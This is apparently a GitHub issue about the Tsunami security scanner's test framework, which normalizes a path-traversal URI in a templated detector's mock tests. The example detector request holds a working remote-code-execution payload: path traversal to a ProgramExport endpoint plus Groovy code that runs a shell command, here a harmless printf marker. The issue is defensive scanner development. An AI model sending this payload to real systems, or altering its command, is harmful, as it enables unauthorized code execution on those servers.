Tests Path Normalization Inconsistency
Author: robert-doyensecCreated Jun 12, 2026Updated Jun 12, 2026
When writing a templated detector for a vulnerability that exploits a path traversal in the request, it looks like the test cases normalize the request before sending it to the Mock HTTP Server (or maybe somewhere in the HTTP server).
Request:
actions: {
name: "execute_payload_reflective"
http_request: {
method: POST
uri: "/webtools/control/forgotPassword/foo/../ProgramExport"
headers: [
{ name: "Content-Type" value: "application/x-www-form-urlencoded" }
]
data:
'groovyProgram=throw%20new%20Exception%28%27printf%20%25x%20133713371337%27.execute%28%29.text%29%3b'
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "1f21f020c9" }
]
}
}
}
}Listener that fails a test case:
{
uri: "/webtools/control/forgotPassword/foo/../ProgramExport"
status: 200
body_content:
'... 1f21f020c9 ...'
}Listener that passes a test case:
{
uri: "/webtools/control/forgotPassword/ProgramExport"
status: 200
body_content:
'... 1f21f020c9 ...'
}Meanwhile the non-mock web service being tested by the scanner receives a request to /webtools/control/forgotPassword/foo/../ProgramExport as expected.
Source: google/tsunami-security-scanner